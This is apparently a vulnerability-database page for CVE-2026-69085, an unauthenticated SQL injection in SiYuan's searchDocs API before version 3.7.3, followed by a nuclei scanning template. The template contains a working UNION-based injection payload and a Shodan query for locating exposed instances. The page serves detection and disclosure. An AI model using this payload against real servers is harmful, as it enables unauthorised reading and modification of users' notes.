Browse / CVEs / CVE-2026-69085
CVE-2026-69085· b3log / siyuan· CWE-89
SiYuan <=3.7.2 - SQL Injection
criticalseverity
10CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it
SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.
Impact
Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.
Fix
Update to version 3.7.3 or later.
How to confirm it
Send: POST /api/notebook/lsNotebooks ; POST /api/filetree/searchDocs
Positive when: status 200 AND matches /"path":"[0-9]+\.[0-9]+\.[0-9]+"/Run it with nuclei: nuclei -id CVE-2026-69085 -u <target>
The full check
id: CVE-2026-69085
info:
name: SiYuan <=3.7.2 - SQL Injection
author: str4k3r
severity: critical
description: |
SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.
impact: |
Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.
remediation: |
Update to version 3.7.3 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
- https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
- https://hub.docker.com/r/b3log/siyuan/tags
- https://nvd.nist.gov/vuln/detail/CVE-2026-69085
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10
cve-id: CVE-2026-69085
epss-score: 0.0139
epss-percentile: 0.72549
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: b3log
product: siyuan
shodan-query: http.favicon.hash:-1450125239
tags: cve,cve2026,siyuan,sqli,sqlite,unauth
http:
- raw:
- |
POST /api/notebook/lsNotebooks HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
- |
POST /api/filetree/searchDocs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
extractors:
- type: regex
name: box_id
part: body
group: 1
internal: true
regex:
- '"id":"([0-9]{14}-[a-z0-9]{7})"[^}]*"closed":false'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- '"path":"[0-9]+\.[0-9]+\.[0-9]+"'References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
- https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
- https://hub.docker.com/r/b3log/siyuan/tags
- https://nvd.nist.gov/vuln/detail/CVE-2026-69085
Use this check only on systems you are authorised to test. Where the data comes from